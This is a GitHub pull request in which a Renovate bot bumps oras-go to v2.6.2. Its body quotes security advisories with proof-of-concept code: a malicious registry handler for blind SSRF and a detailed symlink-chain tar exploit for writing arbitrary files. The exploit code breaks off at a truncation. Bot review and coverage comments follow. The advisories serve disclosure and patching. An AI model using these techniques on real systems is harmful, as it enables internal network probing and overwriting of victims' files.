The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.


Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}
case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that:

  1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt.
  2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative).
  3. Extracts.
  4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


oras-go: Blind SSRF via unvalidated Link header URL in pagination allows internal network probing

CVE-2026-85732 / GHSA-h7vf-4x9w-h99v / GO-2026-6497

More information

Details

Summary

oras-go's pagination helper parseLink() in registry/remote/utils.go follows the Link response header from a registry without validating the URL's host or scheme. When a malicious registry returns a Link header containing an absolute URL pointing to an arbitrary host (e.g., a cloud metadata endpoint), the client makes GET requests to that host from the victim's network.

This affects all pagination-based listing operations: Tags, Referrers, and Repositories (catalog).

Root Cause

parseLink() at registry/remote/utils.go:54 calls resp.Request.URL.Parse(link) which, for absolute URLs, returns the absolute URL unchanged. The result is passed directly to the next pagination loop iteration where http.NewRequestWithContext() creates a GET request to the attacker-specified URL. No host comparison, scheme validation, or IP filtering exists between parseLink output and the HTTP request.

Affected Code Paths
  • registry/remote/repository.go:Tags() calls parseLink() for next page URL
  • registry/remote/repository.go:Referrers() calls parseLink() for next page URL
  • registry/remote/registry.go:Repositories() calls parseLink() for next page URL
Impact

Blind SSRF from the victim's network. A malicious registry operator can force any oras-go client that lists tags, referrers, or repositories to issue GET requests to arbitrary internal endpoints:

  • Cloud instance metadata endpoints for service discovery and IAM role enumeration
  • Internal HTTP services for port scanning and triggering side effects
  • If the victim's credential store maps credentials for the SSRF target host, those credentials are attached to the request (auth.Client looks up creds by request host)

The attacker cannot read the response body (it's parsed as JSON and fails), making this a blind SSRF. However, timing and error differences can confirm internal service existence.

Attack Chain
  1. Victim calls repo.Tags() / repo.Referrers() / registry.Repositories() against attacker-controlled registry
  2. Registry returns a valid first page + malicious Link header pointing to an internal endpoint
  3. parseLink() extracts the absolute URL with zero validation
  4. Pagination loop makes GET request to the internal endpoint from victim's network
PoC
Expand PoC
// Malicious registry handler for /v2/repo/tags/list:
func handler(w http.ResponseWriter, r *http.Request) {
    // Link header points to cloud metadata or internal service
    w.Header().Set("Link", `<http://internal-service:8080/admin>; rel="next"`)
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(map[string][]string{"tags": {"v1"}})
}

// Victim code:
repo, _ := remote.NewRepository("attacker-registry.io/repo")
repo.Tags(ctx, "", func(tags []string) error { return nil })
// Result: GET http://internal-service:8080/admin is made from victim's network
Suggested Fix

Validate that the URL returned by parseLink() has the same host and scheme as the original request before using it for the next pagination request. Reject cross-host or scheme-downgrade URLs.

Reported by zx (Jace)

Severity

  • CVSS Score: 4.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

CVE-2026-85731 / GHSA-m37j-52j7-pjw7 / GO-2026-6499

More information

Details

Summary

The content/file.Store in oras-go v2 unpacks OCI layer tarballs when a descriptor carries io.deis.oras.content.unpack=true. The extraction routine validates symlink targets purely lexically (filepath.Join) and, for regular files placed directly at the extraction root, skips the parent-symlink Lstat walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default AllowPathTraversalOnWrite=false configuration — a canonical tar-slip → RCE primitive.

Details

Affected versions: <= v2.6.1

Entry point: content/file/file.go line 486, (*Store).pushDir — reached from (*Store).Push for any descriptor whose annotations include io.deis.oras.content.unpack: "true" (i.e. file.AnnotationUnpack) and an org.opencontainers.image.title. oras.Copy from a remote registry into a file.New(dir) store invokes this per layer.

Root cause 1 — lexical link validation. content/file/utils.go lines 264–275, ensureLinkPath:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
        // resolve link
        path := target
        if !filepath.IsAbs(target) {
                path = filepath.Join(filepath.Dir(link), target)
        }
        // ensure path is under baseAbs or baseRel
        if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
                return "", err
        }
        return target, nil
}

filepath.Join cleans .. components textually and does not dereference symlinks in intermediate components. It therefore cannot detect that a component of target is itself a previously-extracted symlink that the kernel will follow before applying subsequent .. components.

Root cause 2 — parent-symlink check skipped for root-level entries. content/file/utils.go lines 247–257, inside resolveRelToBase:

// No symbolic link allowed in the relative path
dir := filepath.Dir(path)
for dir != "." {
        if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil {
                ...
        } else if info.Mode()&os.ModeSymlink != 0 {
                return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target)
        }
        dir = filepath.Dir(dir)
}

For an entry named <title>/escape, path == "escape" and filepath.Dir("escape") == ".", so the loop body never executes — the entry itself is never Lstat-checked.

Root cause 3 — write follows symlinks. content/file/utils.go line 279, writeFile:

file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)

No O_NOFOLLOW, so if path is a symlink the write goes to its target.

Data flow / exploit construction. Let baseAbs = <workingDir>/<title> and N = depth(baseAbs) (number of path components from /). The attacker's tar.gz contains, in order:

  1. N nested directories <title>/d0/d1/…/d{N-1}.
  2. A symlink <title>/d0/…/d{N-1}/up → "../../…" (N levels). Both lexically and on disk this resolves to baseAbs, so ensureLinkPath accepts it and resolveRelToBase sees only real directories in its ancestry.
  3. A symlink <title>/escape → "d0/…/d{N-1}/up/../../…/<absTarget>" (N .. components after up). Lexically, filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>") cancels the N .. against up plus d{N-2}…d0, yielding baseAbs/d0/<absTarget> — inside the root, so ensureLinkPath accepts it. resolveRelToBase then walks d0/<absTarget-parents>, none of which are symlinks (they don't exist), so the link is created. At the kernel, resolving baseAbs/d0/…/up first follows up back to baseAbs, and the remaining N .. components climb from baseAbs to /, then <absTarget> is appended — the symlink points at the attacker-chosen absolute path.
  4. A regular file <title>/escape (same name). resolveRelToBase("escape") yields dir == "." (root cause 2), so no Lstat is performed. extractTarDirectory (line 181) calls writeFile which opens baseAbs/escape with O_TRUNC and no O_NOFOLLOW (root cause 3), writing the attacker's payload through the symlink to <absTarget>.

Why v2.6.1's checkSymlinkEscape does not help. The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from resolveWritePath (content/file/file.go line 632) on the pushFile path. pushDir → extractTarGzip → extractTarDirectory never calls it; content/file/utils.go is byte-identical between v2.6.0 and v2.6.1.

Suggested remediation. Any of: (a) Lstat the final path component before opening for write and reject symlinks; (b) open with O_NOFOLLOW (or O_EXCL for new files); (c) resolve link targets with filepath.EvalSymlinks on the deepest existing ancestor (as checkSymlinkEscape already does) instead of lexical filepath.Join; (d) extract into a fresh empty directory and use openat2(RESOLVE_BENEATH) / os.Root (Go 1.24+) for all filesystem operations.

PoC
go mod init poc
go get oras.land/oras-go/v2@v2.6.1
go run .
// Arbitrary file write outside a default-configured file.Store via
// symlink-chain bypass in content/file.extractTarDirectory.
//
// ensureLinkPath() validates symlink targets purely lexically with
// filepath.Join, which collapses ".." textually and does not follow
// intermediate symlink components. By first planting a deep "up" symlink
// that legitimately resolves to the extraction root, an "escape" symlink
// can be crafted whose lexical target stays in-bounds but whose
// kernel-resolved target is any absolute path. A follow-up TypeReg entry
// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),
// writing through the symlink.
//
// Realistic trigger: oras.Copy() from an untrusted registry into a
// file.New() store. The attacker controls the manifest (sets
// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.
// All digests are honest, so content verification passes.
package main

import (
        "archive/tar"
        "bytes"
        "compress/gzip"
        "context"
        _ "crypto/sha256"
        "fmt"
        "os"
        "path/filepath"
        "strings"

        "github.com/opencontainers/go-digest"
        ocispec "github.com/opencontainers/image-spec/specs-go/v1"
        "oras.land/oras-go/v2/content/file"
)

func main() {
        if err := run(); err != nil {
                fmt.Println("ERROR:", err)
                os.Exit(1)
        }
}

func run() error {
        ctx := context.Background()

        // Victim's working directory for the file store.
        workDir, err := os.MkdirTemp("", "oras-victim-*")
        if err != nil {
                return err
        }
        defer os.RemoveAll(workDir)
        fmt.Println("[*] file.Store working dir:", workDir)

        // Target path the attacker wants to write, OUTSIDE workDir.
        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;
        // a temp path keeps the demo self-contained.)
        outsidePath := filepath.Join(os.TempDir(), "oras-PWNED")
        _ = os.Remove(outsidePath)
        defer os.Remove(outsidePath)
        fmt.Println("[*] attacker target (outs

> [!IMPORTANT]
> ✂ PR body was truncated to here.

@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 23ae74e to a73c82f Compare July 24, 2026 13:47
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch 2 times, most recently from 44e470c to f075586 Compare August 14, 2026 20:56
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch 2 times, most recently from cbaaaf1 to 3a5e065 Compare August 26, 2026 11:50
Copilot AI lite review requested due to automatic review settings August 28, 2026 11:00
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 3a5e065 to 77fc3cb Compare August 28, 2026 11:00

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Updates Go module dependencies to incorporate the oras-go v2.6.2 security patch (CVE-2026-50163 / GHSA-fxhp-mv3v-67qp) and aligns related module metadata in the repository’s Go dependency graph.

Changes:

  • Bump oras.land/oras-go/v2 from v2.6.1 to v2.6.2 (security patch release).
  • Update golang.org/x/sync from v0.21.0 to v0.22.0 as part of dependency resolution.
  • Promote github.com/gardener/gardener-extension-provider-openstack v1.54.0 from indirect to direct in go.mod (it is imported directly in code).

Reviewed changes

Copilot reviewed 1 out of 2 changed files in this pull request and generated no comments.

File Description
go.mod Updates direct module requirements to oras-go/v2 v2.6.2, x/sync v0.22.0, and corrects direct vs indirect classification for the OpenStack provider module.
go.sum Refreshes checksums to match the updated module versions.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

@renovate renovate Bot changed the title Renovate: Update module oras.land/oras-go/v2 to v2.6.2 [SECURITY] Renovate: Update module oras.land/oras-go/v2 to v2.6.2 [SECURITY] - autoclosed Aug 30, 2026
@renovate renovate Bot closed this Aug 30, 2026
@renovate
renovate Bot deleted the renovate/go-oras.land-oras-go-v2-vulnerability branch August 30, 2026 08:39
@renovate renovate Bot changed the title Renovate: Update module oras.land/oras-go/v2 to v2.6.2 [SECURITY] - autoclosed Renovate: Update module oras.land/oras-go/v2 to v2.6.2 [SECURITY] Aug 30, 2026
@renovate renovate Bot reopened this Aug 30, 2026
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch 2 times, most recently from 77fc3cb to 2c3802e Compare August 30, 2026 12:31
@github-actions

Copy link
Copy Markdown

Merging this branch will decrease overall coverage

Impacted Packages Coverage Δ 🤖
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/k8ssync/source/landscape 78.54% (ø)
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/ossync 95.28% (ø)
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/ossync/source/glance 67.50% (ø)
github.com/cobaltcore-dev/cloud-profile-sync/controllers 70.31% (-0.28%) 👎

Coverage by file

Changed files (no unit tests)

Changed File Coverage Δ Total Covered Missed 🤖
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/k8ssync/source/landscape/landscape_source.go 78.54% (ø) 233 183 50
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/ossync/os_image_updater.go 95.28% (ø) 106 101 5
github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/ossync/source/glance/os_source.go 67.50% (ø) 120 81 39
github.com/cobaltcore-dev/cloud-profile-sync/controllers/cloud_profile.go 47.41% (ø) 116 55 61

Please note that the "Total", "Covered", and "Missed" counts above refer to code statements instead of lines of code. The value in brackets refers to the test coverage of that file in the old version of the code.

Changed unit test files

  • github.com/cobaltcore-dev/cloud-profile-sync/cloudprofilesync/ossync/os_image_updater_test.go

Copilot AI review requested due to automatic review settings September 2, 2026 22:39
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 2c3802e to a86d465 Compare September 2, 2026 22:39

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Approval recommended

The changes are limited to dependency/version metadata and consistently update both go.mod and go.sum to the intended security-patched oras-go release.

Review details
  • Files reviewed: 1/2 changed files
  • Comments generated: 0 new
  • Review effort level: Lite

@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from a86d465 to d590bfd Compare September 7, 2026 17:10
Copilot AI review requested due to automatic review settings September 7, 2026 17:10

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Approval recommended

The changes are limited to dependency/version metadata updates and appear consistent with the module imports and updated checksums.

Review details
  • Files reviewed: 1/2 changed files
  • Comments generated: 0 new
  • Review effort level: Lite

Copilot AI review requested due to automatic review settings September 15, 2026 11:11
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from d590bfd to 3e1c4f9 Compare September 15, 2026 11:11

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟢 Approval recommended

No unresolved review comments remain.

Review details
  • Files reviewed: 1/2 changed files
  • Comments generated: 0 new
  • Review effort level: Lite

@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 3e1c4f9 to f2dfce7 Compare September 23, 2026 16:55
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch 2 times, most recently from 53cf951 to 871a577 Compare October 5, 2026 20:35
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 871a577 to fccbf99 Compare October 12, 2026 12:32
@github-advanced-security

Copy link
Copy Markdown

You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool.

What Enabling Code Scanning Means:

  • The 'Security' tab will display more code scanning analysis results (e.g., for the default branch).
  • Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results.
  • You will be able to see the analysis results for the pull request's branch on this overview once the scans have completed and the checks have passed.

For more information about GitHub Code Scanning, check out the documentation.

@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from fccbf99 to 73aaecb Compare October 20, 2026 15:56
@renovate
renovate Bot force-pushed the renovate/go-oras.land-oras-go-v2-vulnerability branch from 73aaecb to 25272b3 Compare October 23, 2026 18:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants